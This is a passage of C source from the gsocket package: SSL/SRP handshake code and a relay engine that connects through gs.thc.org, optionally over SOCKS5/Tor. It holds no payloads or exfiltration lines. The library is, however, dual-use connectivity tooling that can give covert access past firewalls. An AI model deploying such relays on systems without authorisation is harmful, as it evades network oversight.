EOF). * Do not send any further data (but still receive data) */ gsocket->is_sent_shutdown = 1; if (ret == 1) { /* SUCCESS (close notify received & sent) */ return GS_ERR_FATAL; /* SUCCESSFULL Shutdown. Ready to destroy connection now */ } if (ret == 0) { gsocket->is_want_shutdown = 0; /* HERE: Expecting more data (check SSL_read() */ // gsocket->ssl_wait_for_eof = 1; return GS_SUCCESS; /* Connection open for reading only */ } err = SSL_get_error(gsocket->ssl, ret); DEBUGF_Y("SSL Error: %d\n", err); ret = gs_ssl_want_io_rw(gsocket->ctx->gselect_ctx, gsocket->fd, err); if (ret != 0) return GS_ERR_FATAL; gsocket->ctx->gselect_ctx->blocking_func[gsocket->fd] |= GS_CALLWRITE; gsocket->write_pending = 1; gsocket->is_want_shutdown = 1; return GS_ERR_WAITING; /* Waiting for I/O */ } static int ssl_accept(GS *gsocket) { int ret; ret = SSL_accept(gsocket->ssl); DEBUGF("Call to SSL_accept() = %d\n", ret); if (ret != 1) { gsocket->ssl_state = GS_SSL_STATE_ACCEPT; return ret; } /* Check that is is a SRP connection (not x509) */ char *user = SSL_get_srp_username(gsocket->ssl); if (user == NULL) return -31337; /* HERE: SSL SRP accepted and valid */ gsocket->ssl_state = GS_SSL_STATE_RW; return 1; /* SUCCESS */ } static int ssl_connect(GS *gsocket) { int ret; ret = SSL_connect(gsocket->ssl); DEBUGF("SSL_connect() = %d\n", ret); if (ret != 1) { gsocket->ssl_state = GS_SSL_STATE_CONNECT; return ret; } gsocket->ssl_state = GS_SSL_STATE_RW; return 1; /* SUCCESS */ } static int ssl_shutdown(GS *gs) { int ret; ret = SSL_shutdown(gs->ssl); DEBUGF_Y("SSL_shutdown() = %d\n", ret); /* 0 = Not yet finished. (do not call SSL_get_error()) * 1 = complete * <0 = would-block (WANT-WRITE or WANT-READ) */ if (ret < 0) return ret; // WANT-WRITE or WANT-READ gs->is_sent_shutdown = 1; return 1; } static const char * ssl_state_str(enum ssl_state_t state) { switch (state) { case GS_SSL_STATE_ACCEPT: return "accept"; case GS_SSL_STATE_CONNECT: return "connect"; case GS_SSL_STATE_RW: return "read/write"; case GS_SSL_STATE_SHUTDOWN: return "shutdown"; } return "UNKNOWN"; } /* * Continue an interrupted state (SSL_accpet/SSL_connect) * * Return 0 when done (state recovered). * Return -1 on fatal error. * Return 1 if unknown state (and SSL_read() or SSL_write() should handle it. */ int gs_ssl_continue(GS *gsocket, enum gs_rw_state_t rw_state) { int ret; int state = gsocket->ssl_state; /* FIXME: This check could be done in the calling function for speedup */ // DEBUGF("ssl-state=%d, rw_state=%d\n", state, rw_state); if (rw_state == GS_CAN_WRITE) { // write wont block. if (gsocket->is_want_shutdown == 0) { // Not a SSL_shutdown() if ((state != GS_SSL_STATE_ACCEPT) && (state != GS_SSL_STATE_CONNECT) && (state != GS_SSL_STATE_SHUTDOWN)) { // DEBUGF("ssl_continue: nothing to continue\n"); return 1; // nothing to do } } } else { if ((state != GS_SSL_STATE_ACCEPT) && (state != GS_SSL_STATE_CONNECT) && (state != GS_SSL_STATE_SHUTDOWN)) return 1; } /* SSL Handshake not yet complete. Complete it. */ if (state == GS_SSL_STATE_ACCEPT) { ret = ssl_accept(gsocket); } else if (state == GS_SSL_STATE_CONNECT) { /* GS_SSL_STATE_CONNECT */ ret = ssl_connect(gsocket); } else { ret = ssl_shutdown(gsocket); gsocket->is_want_shutdown = 0; } if (ret == 1) { DEBUGF_G("*** SUCCESS *** [SSL_%s()]\n", ssl_state_str(state)); gs_ssl_want_io_finished(gsocket); if ((gsocket->is_want_shutdown != 0) && (state != GS_SSL_STATE_SHUTDOWN)) { DEBUGF_Y("SHUTDOWN was requested earlier. Doing it now.\n"); GS_shutdown(gsocket); } /* SSL_accept()/SSL_connect() has finished. Drop into SSL_read()/SSL_write */ return 0; } /* From ssl_accept() if user was not found. * No need to check SSL_get_error. * This is fatal. */ if (ret == -31337) return GS_ERR_FATAL; /* SSL_connect()/SSL_accept() can return 1 on SUCCESS or <0 if WOULD-BLOCK */ /* A return value of 0 however means that the SSL was shut-down gracefully */ int err = SSL_get_error(gsocket->ssl, ret); DEBUGF("SSL_ERROR SSL_%s() = SSL_%s(ret=%d, err=%d)\n", ssl_state_str(state), GS_SSL_strerror(err), ret, err); if (ERR_peek_last_error()) DEBUGF_Y(" %s\n", ERR_error_string(ERR_peek_last_error(), NULL)); if ((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE)) gs_set_errorf(gsocket, "SSL_%s: %s", ssl_state_str(state), GS_SSL_strerror(err)); ret = gs_ssl_want_io_rw(gsocket->ctx->gselect_ctx, gsocket->fd, err); DEBUGF("gs_ssl_continue will return = %d (%s)\n", ret, ret<0?"FATAL":"continue"); if (ret != 0) return GS_ERR_FATAL; /* Return a fatal error if SSL was shut-down */ return ret; } /* * Initialize SSL Library if it hasnt been done so already. * Create SSL_CTX on GS_CTX if it hasnt been done so already. * Create SSL on GS if it hasnt been done so already. * * This is called at the start of GS_listen() or GS_connect(). * * Return 0 on success. * Return 1 if SSL_read/SSL_write is next * Return -1 on fata error * */ int gs_srp_init(GS *gsocket) { gs_ssl_ctx_init(gsocket, gsocket->flags & GS_FL_IS_SERVER?1:0); gs_ssl_init(gsocket); /* Call to SSL_new() */ DEBUGF("AFTER SSL init\n"); if (gsocket->fd < 0) ERREXIT("can not happen, fd = %d\n", gsocket->fd); SSL_set_fd(gsocket->ssl, gsocket->fd); /* SRP client starts the handshake */ gsocket->ssl_state = GS_SSL_STATE_CONNECT; if (gsocket->flags & GS_FL_IS_SERVER) { DEBUGF("This is SSL-SERVER (call SSL_accept()\n"); gsocket->ssl_state = GS_SSL_STATE_ACCEPT; } int ret; ret = gs_ssl_continue(gsocket, GS_CAN_RW); DEBUGF("gs_srp_init() will return %d\n", ret); return ret; } void GS_srp_setpassword(GS *gsocket, const char *pwd) { snprintf(gsocket->srp_sec, sizeof gsocket->srp_sec, "%s.%s.%s", "Blah", pwd, "blubb-SRPSEC"); DEBUGF("'%s'\n", gsocket->srp_sec); } const char * GS_get_cipher(GS *gs) { if (gs->flags & GSC_FL_USE_SRP) return GS_DFL_CIPHER"-End2End"; return "NO ENCRYPTION"; } int GS_get_cipher_strength(GS *gs) { if (gs->flags & GSC_FL_USE_SRP) return atoi(GS_DFL_CIPHER_STRENGTH); return 0; } #endif /* HAVE_LIBCRYPTO */ gsocket-1.4.41/lib/gsocket-engine.c0000644000175000017500000016005114503376047016774 0ustar epsilonepsilon #include "gs-common.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "gsocket-engine.h" #include "gs-externs.h" #ifdef DEBUG // # define DEBUG_SELECT (1) #endif #ifdef DEBUG FILE *gs_dout; /* DEBUG OUTPUT */ int gs_did; // debug ID int gs_debug_level; fd_set *gs_debug_rfd; fd_set *gs_debug_wfd; fd_set *gs_debug_r; fd_set *gs_debug_w; #endif // DEBUG FILE *gs_errfp; gs_cb_log_t gs_func_log; static struct _gs_log_info gs_log_info; #define GS_NET_DEFAULT_HOST "gs.thc.org" #define GS_SOCKS_DFL_IP "127.0.0.1" #define GS_SOCKS_DFL_PORT 9050 #define GS_GS_HTON_DELAY (12 * 60 * 60) // every 12h #ifdef DEBUG_SELECT //# define GS_DEFAULT_PING_INTERVAL (30) # define GS_RECONNECT_DELAY (3) #else //# define GS_DEFAULT_PING_INTERVAL (2*60) // Every 2 minutes # define GS_RECONNECT_DELAY (15) // connect() not more than every 15s # define GS_WARN_SLOWCONNECT (4) // Warn about slow connect() after 4 seconds... #endif // #define STRESSTEST 1 #ifdef STRESSTEST //# define GS_DEFAULT_PING_INTERVAL (1) #endif static const char unit[] = "BKMGT"; /* Up to Exa-bytes. */ static int gs_pkt_listen_write(GS *gsocket, struct gs_sox *sox); static int gs_pkt_connect_write(GS *gsocket, struct gs_sox *sox); static int gs_pkt_connect_socks(GS *gsocket, struct gs_sox *sox); static void gs_close(GS *gsocket); static void gs_listen_add_gs_select_by_sox(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val); static void gs_net_try_reconnect_by_sox(GS *gs, struct gs_sox *sox); static void gs_net_init_by_sox(GS_CTX *ctx, struct gs_sox *sox); static int gs_net_connect_new_socket(GS *gs, struct gs_sox *sox); #ifndef int_ntoa const char * int_ntoa(uint32_t ip) { struct in_addr in; in.s_addr = ip; return inet_ntoa(in); } #endif #define gs_set_error(gs_ctx, a...) do { \ snprintf(gs_ctx->err_buf, sizeof (gs_ctx)->err_buf, a); \ } while (0) void gs_fds_out_fd(fd_set *fdset, char id, int fd) { #ifdef DEBUG_SELECT if (FD_ISSET(fd, fdset)) DEBUGF("fd=%d %c (set)\n", fd, id); else DEBUGF("fd=%d %c (not set)\n", fd, id); #endif } static int gs_lib_init_called; void gs_fds_out(fd_set *fdset, int max, char id) { #ifdef DEBUG_SELECT char buf[max + 1 + 1]; memset(buf, ' ', sizeof buf); int i; for (i = 0; i <= max; i++) buf[i] = '0' + i % 10; buf[i] = '\0'; xfprintf(gs_dout, "%s (max = %d)\n", buf, max); int n = 0; memset(buf, '.', sizeof buf); for (i = 0; i <= max; i++) { if (FD_ISSET(i, fdset)) { n++; buf[i] = id; } } buf[i] = '\0'; xfprintf(gs_dout, "%s (Tracking: %d, max = %d)\n", buf, n, max); #endif } void gs_fds_out_rwfd(GS_SELECT_CTX *ctx) { #ifdef DEBUG_SELECT int i; char buf[ctx->max_fd + 1 + 1]; for (i = 0; i <= ctx->max_fd; i++) buf[i] = '0' + i % 10; buf[i] = '\0'; xfprintf(gs_dout, "%s (max = %d)\n", buf, ctx->max_fd); memset(buf, ' ', sizeof buf); buf[sizeof buf - 1] = '\0'; int c; int n = 0; for (i = 0; i <= ctx->max_fd; i++) { c = 0; if (FD_ISSET(i, ctx->rfd)) c = 1; if (FD_ISSET(i, ctx->wfd)) c += 2; if (c == 0) { buf[i] = '.'; continue; } else if (c == 1) buf[i] = 'R'; else if (c == 2) buf[i] = 'W'; else if (c == 3) buf[i] = 'X'; // Set of Reading _and_ Writing else buf[i] = 'E'; // Cant happen. n++; } buf[i] = '\0'; xfprintf(gs_dout, "%s (Tracking: %d, max = %d)\n", buf, n, ctx->max_fd); #endif } void GS_library_init(FILE *err_fp, FILE *dout_fp, gs_cb_log_t func_log) { if (gs_lib_init_called != 0) return; gs_lib_init_called = 1; /* Initialize SSL */ SSL_library_init(); OpenSSL_add_all_algorithms(); SSL_load_error_strings(); XASSERT(RAND_status() == 1, "RAND_status()"); if (func_log != NULL) { gs_log_info.msg = calloc(1, GS_LOG_INFO_MSG_SIZE); XASSERT(gs_log_info.msg != NULL, "calloc: %s\n", strerror(errno)); } gs_errfp = err_fp; gs_func_log = func_log; #ifdef DEBUG gs_dout = dout_fp; #endif } int GS_CTX_init(GS_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now) { GS_library_init(stderr, stderr, NULL); memset(ctx, 0, sizeof *ctx); ctx->rfd = rfd; ctx->wfd = wfd; ctx->r = r; ctx->w = w; ctx->tv_now = tv_now; #ifdef DEBUG_SELECT gs_debug_rfd = rfd; gs_debug_wfd = wfd; gs_debug_r = r; gs_debug_w = w; #endif if (ctx->rfd == NULL) { ERREXIT("Is this still being used? how about r and w == NULL?\n"); ctx->rfd = calloc(1, sizeof *ctx->rfd); ctx->wfd = calloc(1, sizeof *ctx->wfd); ctx->flags |= GS_CTX_FL_RFD_INTERNAL; } ctx->socks_port = htons(GS_SOCKS_DFL_PORT); char *ptr; ptr = GS_getenv("GSOCKET_SOCKS_IP"); if ((ptr != NULL) && (*ptr != '\0')) ctx->socks_ip = inet_addr(ptr); ptr = GS_getenv("GSOCKET_SOCKS_PORT"); if (ptr != NULL) ctx->socks_port = htons(atoi(ptr)); ctx->gs_flags |= GSC_FL_USE_SRP; // Encryption by default ctx->gs_flags |= GSC_FL_NONBLOCKING; // Non-blocking by default ctx->flags_proto |= GS_FL_PROTO_FAST_CONNECT; return 0; } /* * Make use of GS_select() subsystem. */ void GS_CTX_use_gselect(GS_CTX *ctx, GS_SELECT_CTX *gselect_ctx) { ctx->gselect_ctx = gselect_ctx; } int GS_CTX_free(GS_CTX *ctx) { if (ctx->flags & GS_CTX_FL_RFD_INTERNAL) { XFREE(ctx->rfd); XFREE(ctx->wfd); } memset(ctx, 0, sizeof *ctx); return 0; } /* * Copy over all elements of a GS to gs_new * but increment gs-specific counters. * This is typically used to create a GS from a listening GS. */ static void gs_instantiate(GS *gsocket, GS *new_gs, int new_fd) { new_gs->ctx = gsocket->ctx; new_gs->fd = new_fd; new_gs->flags = gsocket->flags; new_gs->ctx->gsocket_success_count++; new_gs->id = new_gs->ctx->gsocket_success_count; #ifdef WITH_GSOCKET_SSL new_gs->ssl_ctx = gsocket->ssl_ctx; new_gs->srpData = gsocket->srpData; memcpy(new_gs->srp_sec, gsocket->srp_sec, sizeof new_gs->srp_sec); if (new_gs->ssl != NULL) DEBUGF("*** WARNING ***: old SSL found???\n"); new_gs->ssl = NULL; #endif } static int gs_set_ip_by_hostname(GS *gs, const char *hostname) { /* No hostname specified. Perhaps using env var GSOCKET_IP */ if (hostname == NULL) return GS_SUCCESS; /* When Socks5 is used then TCP goes to Socks5 server */ if (gs->ctx->socks_ip != 0) return GS_SUCCESS; /* HERE: Socks5 not used */ uint32_t gs_ip; gs_ip = GS_hton(hostname); if (gs_ip == 0xFFFFFFFF) { GS_LOG_ERR("Cannot resolve '%s'. Re-trying in %d seconds...\n", hostname, GS_RECONNECT_DELAY); return GS_ERROR; } DEBUGF_B("Setting hostname=%s\n", hostname); gs->net.tv_gs_hton = GS_TV_TO_USEC(gs->ctx->tv_now); gs->net.addr = gs_ip; return GS_SUCCESS; } // Call callback to pass log message from library to calling programm void GS_log(int type, int level, char *fmt, ...) { if (gs_func_log == NULL) return; va_list ap; va_start(ap, fmt); vsnprintf(gs_log_info.msg, GS_LOG_INFO_MSG_SIZE, fmt, ap); va_end(ap); gs_log_info.level = level; gs_log_info.type = type; (*gs_func_log)(&gs_log_info); } GS * GS_new(GS_CTX *ctx, GS_ADDR *addr) { GS *gsocket = NULL; char *ptr; char *hostname; gsocket = calloc(1, sizeof *gsocket); XASSERT(gsocket != NULL, "calloc(): %s\n", strerror(errno)); gsocket->ctx = ctx; gsocket->fd = -1; uint16_t gs_port; ptr = GS_getenv("GSOCKET_PORT"); if (ptr == NULL) ptr = GS_getenv("GS_PORT"); if (ptr != NULL) gs_port = htons(atoi(ptr)); else gs_port = htons(GSRN_DEFAULT_PORT); ctx->gs_port = gs_port; // Socks5 needs to know gsocket->net.port = gs_port; ptr = GS_getenv("GSOCKET_IP"); if (ptr != NULL) { gsocket->net.addr = inet_addr(ptr); } if ((ctx->socks_ip != 0) || (gsocket->net.addr == 0)) { /* HERE: Use Socks5 -or- GSOCKET_IP not available */ char buf[256]; hostname = GS_getenv("GSOCKET_HOST"); if (hostname == NULL) hostname = GS_getenv("GS_HOST"); if (hostname == NULL) { if (gsocket->net.addr != 0) { // Socks5 is used and GSOCKET_IP is set. Connect // to GSOCKET_IP via Socks5. hostname = strdup(int_ntoa(gsocket->net.addr)); } else { uint8_t hostname_id; hostname_id = GS_ADDR_get_hostname_id(addr->addr); // Connect to [a-z].gsocket.io depending on GS-address const char *domain; domain = GS_getenv("GSOCKET_DOMAIN"); if (domain == NULL) domain = GS_NET_DEFAULT_HOST; snprintf(buf, sizeof buf, "%c.%s", 'a' + hostname_id, domain); hostname = buf; } } gsocket->net.hostname = strdup(hostname); gs_set_ip_by_hostname(gsocket, gsocket->net.hostname); } if (ctx->socks_ip != 0) { // HERE: Socks5 is used gsocket->net.addr = ctx->socks_ip; gsocket->net.port = ctx->socks_port; XASSERT(gsocket->net.hostname != NULL, "Socks5 but hostname not set\n"); } gsocket->net.fd_accepted = -1; gsocket->net.n_sox = 1; int i; for (i = 0; i < gsocket->net.n_sox; i++) { gsocket->net.sox[i].fd = -1; } gsocket->flags = ctx->gs_flags; memcpy(&gsocket->gs_addr, addr, sizeof gsocket->gs_addr); GS_srp_setpassword(gsocket, gsocket->gs_addr.srp_password); GS_set_token(gsocket, NULL, 0); return gsocket; } static void gs_net_connect_complete(GS *gs, struct gs_sox *sox) { int vlevel = GS_LOG_LEVEL_VERBOSE; // If we warned about a slow connection then also say when we succeeded... if (sox->flags & GS_SOX_FL_WARN_SLOWCONNECT) vlevel = GS_LOG_LEVEL_NONE; if (gs->ctx->socks_ip != 0) GS_log(GS_LOG_TYPE_NORMAL, vlevel, "GSRN connection established [via TOR to %s:%d].\n", gs->net.hostname, ntohs(gs->ctx->gs_port)); else GS_log(GS_LOG_TYPE_NORMAL, vlevel, "GSRN connection established [%s:%d].\n", int_ntoa(gs->net.addr), ntohs(gs->ctx->gs_port)); if (gs->flags & GS_FL_IS_CLIENT) gs_pkt_connect_write(gs, sox); else gs_pkt_listen_write(gs, sox); if (gs->net.conn_count >= gs->net.n_sox) gs->flags |= GS_FL_TCP_CONNECTED; // All TCP (APP) are now connected sox->flags &= ~GS_SOX_FL_WARN_SLOWCONNECT; } /* * First and completing call to 'connect()' (non-blocking). * Return -2 on error (fatal, must exit) * Return -1 if in progress * Return 0 on success (connection actually established) */ static int gs_net_connect_by_sox(GS *gsocket, struct gs_sox *sox) { struct sockaddr_in addr; int ret; memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_addr.s_addr = gsocket->net.addr; addr.sin_port = gsocket->net.port; errno = 0; ret = connect(sox->fd, (struct sockaddr *)&addr, sizeof addr); // DEBUGF("connect(%s:%d, fd = %d): %d (errno = %d, %s)\n", int_ntoa(gsocket->net.addr), ntohs(addr.sin_port), sox->fd, ret, errno, strerror(errno)); if (ret != 0) { if ((errno == EINPROGRESS) || (errno == EAGAIN) || (errno == EINTR)) { XFD_SET(sox->fd, gsocket->ctx->wfd); sox->state = GS_STATE_SYS_CONNECT; return GS_ERR_WAITING; } if (errno != EISCONN) { /* HERE: NOT connected */ if (gsocket->ctx->socks_ip == 0) { // GS_LOG_ERR("connect(%s:%d): %s.\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port), strerror(errno)); gs_set_error(gsocket->ctx, "connect(%s:%d)", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port)); } else { // GS_LOG_ERR("connect(%s:%d): %s. Tor not running?\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port), strerror(errno)); gs_set_error(gsocket->ctx, "connect(%s:%d). Tor not running?", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port)); } return GS_ERR_FATAL; } } /* HERRE: ret == 0 or errno == EISCONN (Socket is already connected) */ DEBUGF("connect(fd = %d) SUCCESS (errno = %d)\n", sox->fd, errno); FD_CLR(sox->fd, gsocket->ctx->wfd); XFD_SET(sox->fd, gsocket->ctx->rfd); /* SUCCESSFULLY connected */ sox->state = GS_STATE_SYS_NONE; // Not stuck in a system call (connect()) gsocket->net.conn_count += 1; if (gsocket->ctx->socks_ip != 0) { GS_LOG_VV("Connection to TOR established [%s:%d].\n", int_ntoa(gsocket->ctx->socks_ip), ntohs(gsocket->ctx->socks_port)); gs_pkt_connect_socks(gsocket, sox); } else { gs_net_connect_complete(gsocket, sox); } return GS_SUCCESS; } /* * Return > 0 on success. * Return 0 if write would block. * Return -1 on error. */ static int sox_write(struct gs_sox *sox, const void *data, size_t len) { int ret; ret = write(sox->fd, data, len); if (ret == len) { return len; } if (ret > 0) ERREXIT("Fatal, partial write() should not happen.\n"); if (errno != EAGAIN) return -1; /* EAGAIN */ memcpy(sox->wbuf, data, len); sox->wlen = len; return 0; } static int gs_pkt_connect_socks(GS *gs, struct gs_sox *sox) { // Auth: 0x05 0x01 0x00 // Conn: 0x05 0x01 0x00 0x03 [1-octet length] [domain name] [2-octet Port] char buf[512]; char *ptr = &buf[0]; memcpy(buf, "\x05\x01\x00" "\x05\x01\x00\x03", 7); ptr += 7; size_t hlen = strlen(gs->net.hostname); XASSERT(hlen <= 255, "hostname to long\n"); ptr[0] = hlen; ptr++; memcpy(ptr, gs->net.hostname, hlen); ptr += hlen; memcpy(ptr, &gs->ctx->gs_port, 2); ptr += 2; int ret; ret = sox_write(sox, &buf, ptr - buf); if (ret == 0) sox->state = GS_STATE_SOCKS; // Call write() again sox->flags |= GS_SOX_FL_AWAITING_SOCKS; return 0; } static int gs_pkt_ping_write(GS *gsocket, struct gs_sox *sox) { int ret; DEBUGF("### PKT PING write(fd = %d)\n", sox->fd); // Might be 0 if SSL has not completed yet if (sox->fd < 0) return 0; /* Do not send PING if there is already data in output queue */ if (FD_ISSET(sox->fd, gsocket->ctx->wfd)) { DEBUGF("skip PING. WANT_WRITE already set.\n"); return 0; } struct _gs_ping gping; memset(&gping, 0, sizeof gping); gping.type = GS_PKT_TYPE_PING; ret = sox_write(sox, &gping, sizeof gping); if (ret == 0) sox->state = GS_STATE_PKT_PING; /* write() will eventually complete. * As soon as rfd is ready we are expecting a PONG */ sox->flags |= GS_SOX_FL_AWAITING_PONG; return 0; } static int gs_pkt_listen_write(GS *gsocket, struct gs_sox *sox) { int ret; DEBUGF("### PKT LISTEN write(fd = %d)\n", sox->fd); if (gsocket->flags & GS_FL_IS_CLIENT) ERREXIT("CC trying to send a listen message. Should send connect.\n"); struct _gs_listen glisten; memset(&glisten, 0, sizeof glisten); glisten.type = GS_PKT_TYPE_LISTEN; glisten.version_major = GS_PKT_PROTO_VERSION_MAJOR; glisten.version_minor = GS_PKT_PROTO_VERSION_MINOR; memcpy(glisten.token, gsocket->token, sizeof glisten.token); memcpy(glisten.addr, gsocket->gs_addr.addr, MIN(sizeof glisten.addr, GS_ADDR_SIZE)); HEXDUMP(glisten.addr, sizeof glisten.addr); ret = sox_write(sox, &glisten, sizeof glisten); if (ret == 0) sox->state = GS_STATE_PKT_LISTEN; return 0; } static int gs_pkt_connect_write(GS *gsocket, struct gs_sox *sox) { int ret; DEBUGF("pkt_connect_write(fd = %d)\n", sox->fd); struct _gs_connect gconnect; memset(&gconnect, 0, sizeof gconnect); gconnect.type = GS_PKT_TYPE_CONNECT; gconnect.version_major = GS_PKT_PROTO_VERSION_MAJOR; gconnect.version_minor = GS_PKT_PROTO_VERSION_MINOR; gconnect.flags = gsocket->ctx->flags_proto; DEBUGF_Y("Proto Flags: %x\n", gconnect.flags); memcpy(gconnect.addr, gsocket->gs_addr.addr, MIN(sizeof gconnect.addr, GS_ADDR_SIZE)); ret = sox_write(sox, &gconnect, sizeof gconnect); if (ret == 0) sox->state = GS_STATE_PKT_CONNECT; return 0; } static int gs_pkt_accept_write(GS *gsocket, struct gs_sox *sox) { int ret; struct _gs_accept gaccept; memset(&gaccept, 0, sizeof gaccept); gaccept.type = GS_PKT_TYPE_ACCEPT; ret = sox_write(sox, &gaccept, sizeof gaccept); if (ret == 0) sox->state = GS_STATE_PKT_ACCEPT; return 0; } /* * Process a GS protocol message. */ static int gs_pkt_dispatch(GS *gsocket, struct gs_sox *sox) { if (sox->rbuf[0] == GS_PKT_TYPE_PONG) { DEBUGF("PONG received\n"); sox->flags &= ~GS_SOX_FL_AWAITING_PONG; return GS_SUCCESS; } if (sox->rbuf[0] == GS_PKT_TYPE_START) { /* Called by CLIENT and SERVER. Thereafter it's up to the application * layer. */ struct _gs_start *start = (struct _gs_start *)sox->rbuf; DEBUGF("START received. (flags = 0x%2.2x)\n", start->flags); if (start->flags & GS_FL_PROTO_START_SERVER) { DEBUGF_Y("This is SERVER\n"); gsocket->flags |= GS_FL_IS_SERVER; } sox->state = GS_STATE_APP_CONNECTED; gettimeofday(gsocket->ctx->tv_now, NULL); memcpy(&gsocket->tv_connected, gsocket->ctx->tv_now, sizeof gsocket->tv_connected); /* Indicate to caller that a new GS connection has started */ gsocket->net.fd_accepted = sox->fd; gs_pkt_accept_write(gsocket, sox); return GS_SUCCESS; } char msg[128]; if (sox->rbuf[0] == GS_PKT_TYPE_STATUS) { struct _gs_status *status = (struct _gs_status *)sox->rbuf; DEBUGF("STATUS received. (type=%d, code=%d)\n", status->err_type, status->code); if (status->err_type == GS_STATUS_TYPE_FATAL) { const char *err_str = "FATAL"; // *Unknown* default switch (status->code) { case GS_STATUS_CODE_BAD_AUTH: err_str = "Address already in use"; break; case GS_STATUS_CODE_CONNREFUSED: err_str = "Connection refused (no server listening)"; break; case GS_STATUS_CODE_IDLE_TIMEOUT: err_str = "Idle-Timeout. Server did not receive any data"; break; case GS_STATUS_CODE_SERVER_OK: err_str = "Server is listening."; break; default: err_str = "UNKNOWN"; GS_sanitize_logmsg(msg, sizeof msg, (char *)status->msg, sizeof status->msg); if (msg[0] != '\0') err_str = msg; break; } gsocket->status_code = status->code; gs_set_errorf(gsocket, "%s (%u)", err_str, status->code); return GS_ERR_FATAL; } return GS_SUCCESS; } DEBUGF("Invalid Packet Type %d - Ignoring..\n", sox->rbuf[0]); return GS_SUCCESS; } /* * Return length of bytes read, 0 for waiting and otherwise ERROR * (treat EOF as GS_ERROR (and eventually reconnect if this is a listening socket) */ static ssize_t sox_read(struct gs_sox *sox, size_t len) { ssize_t ret; ret = read(sox->fd, sox->rbuf + sox->rlen, len); if (ret == 0) /* EOF */ { /* HERE: GS-NET can not find a listening peer for this GS-address. * Disconnect hard. */ DEBUGF_R("EOF on GS TCP connection -> treat as ECONNRESET\n"); errno = ECONNRESET; return GS_ERROR; // ERROR } if (ret < 0) { /* This can happen when we read packets. We read 1 byte and * then without going into select() we try to read the rest * of the packet. */ if ((errno == EAGAIN) || (errno == EINTR)) { #ifdef DEBUG gs_fds_out_fd(gs_debug_rfd, 'r', sox->fd); gs_fds_out_fd(gs_debug_r, 'R', sox->fd); #endif DEBUGF_R("EAGAIN [would block], wanting %zd\n", len); return 0; // Waiting. No data read. } return GS_ERROR; } sox->rlen += ret; return ret; // Return the number of bytes read. } /* * Read at least 'min' bytes or return error if waiting. * Return min on SUCCESS (min bytes available in buffer) * Return GS_ERR_WAITING when waiting for more data. * Return GS_ERROR on error (recoverable. re-connect) * Return GS_ERR_FATAL on non-recoverable errors (never?) */ static ssize_t sox_read_min(struct gs_sox *sox, size_t min) { size_t len_rem; int ret; XASSERT(sox->rlen < min, "Data in buffer is %zu but only needing %zu\n", sox->rlen, min); len_rem = min - sox->rlen; ret = sox_read(sox, len_rem); if (ret == GS_ERROR) return GS_ERROR; if (ret == GS_ERR_FATAL) return GS_ERR_FATAL; // never happens if (sox->rlen < min) return GS_ERR_WAITING; /* Not enough data */ return min; } static int gs_read_pkt(GS *gs, struct gs_sox *sox) { int ret; /* Read GS message. */ /* Read GS MSG header (first octet) */ if (sox->rlen == 0) { ret = sox_read(sox, 1); if (ret != 1) return GS_ERROR; } size_t len_pkt = sizeof (struct _gs_pong); /* Client only allowed to receive START, STATUS and PONG */ switch (sox->rbuf[0]) { case GS_PKT_TYPE_PONG: case GS_PKT_TYPE_START: case GS_PKT_TYPE_STATUS: break; case GS_PKT_TYPE_LISTEN: case GS_PKT_TYPE_CONNECT: len_pkt = sizeof (struct _gs_listen); case GS_PKT_TYPE_PING: default: DEBUGF_R("Packet type=%d not valid (for client)\n", sox->rbuf[0]); } ret = sox_read_min(sox, len_pkt); if (ret == GS_ERR_WAITING) return GS_SUCCESS; // Not enough data yet if (ret != len_pkt) return GS_ERROR; // ERROR ret = gs_pkt_dispatch(gs, sox); sox->rlen = 0; return ret; } /* Accept Auth: 0x05 0x00 * Success : 0x05 0x00 0x00 0x01 [IP 4bytes] [PORT 2bytes] */ struct _socks5_pkt { uint8_t ver; uint8_t res; uint8_t ver2; uint8_t code; uint8_t res2; uint8_t ip_type; uint8_t ip[4]; uint8_t port[2]; }; /* * Read reply from Socks5 and 'dispatch' (change state when done or -1 on error). */ static int gs_read_socks(GS *gs, struct gs_sox *sox) { int ret; struct _socks5_pkt spkt; size_t len_pkt = sizeof (struct _socks5_pkt); ret = sox_read_min(sox, len_pkt); if (ret == GS_ERR_WAITING) return GS_SUCCESS; if (ret != len_pkt) return GS_ERROR; // HEXDUMPF(sox->rbuf, len_pkt, "Socks5 (%zu): ", len_pkt); memcpy(&spkt, sox->rbuf, sizeof spkt); if (spkt.code != 0) return GS_ERROR; DEBUGF_M("Socks5 CONNECTED\n"); /* Socks5 completed. Start GS listen/connect */ sox->flags &= ~GS_SOX_FL_AWAITING_SOCKS; gs_net_connect_complete(gs, sox); sox->rlen = 0; return GS_SUCCESS; } /* * Socket has something to read() or write() * Return 0 on success. */ static int gs_process_by_sox(GS *gsocket, struct gs_sox *sox) { int ret; GS_CTX *gs_ctx = gsocket->ctx; errno = 0; if (FD_ISSET(sox->fd, gs_ctx->w)) { DEBUGF("fd == %d\n", sox->fd); if (sox->state == GS_STATE_SYS_CONNECT) { ret = gs_net_connect_by_sox(gsocket, sox); if (ret != GS_SUCCESS) { DEBUGF_R("will ret = %d, errno %s\n", ret, strerror(errno)); gsocket->status_code = GS_STATUS_CODE_NETERROR; return GS_ERROR; /* ECONNREFUSED or other */ } DEBUGF("GS-NET Connection (TCP) ESTABLISHED (fd = %d)\n", sox->fd); /* rfd is set in gs_net_connect_by_sox */ gs_fds_out_fd(gsocket->ctx->rfd, 'r', sox->fd); gs_fds_out_fd(gsocket->ctx->wfd, 'w', sox->fd); return GS_SUCCESS; } /* Complete a failed write() */ if ((sox->state == GS_STATE_PKT_PING) || (sox->state == GS_STATE_PKT_LISTEN) || (sox->state == GS_STATE_SOCKS)) { ret = write(sox->fd, sox->wbuf, sox->wlen); if (ret != sox->wlen) { DEBUGF("ret = %d, len = %zu, errno = %s\n", ret, sox->wlen, strerror(errno)); return GS_ERROR; } FD_CLR(sox->fd, gs_ctx->wfd); XFD_SET(sox->fd, gs_ctx->rfd); sox->state = 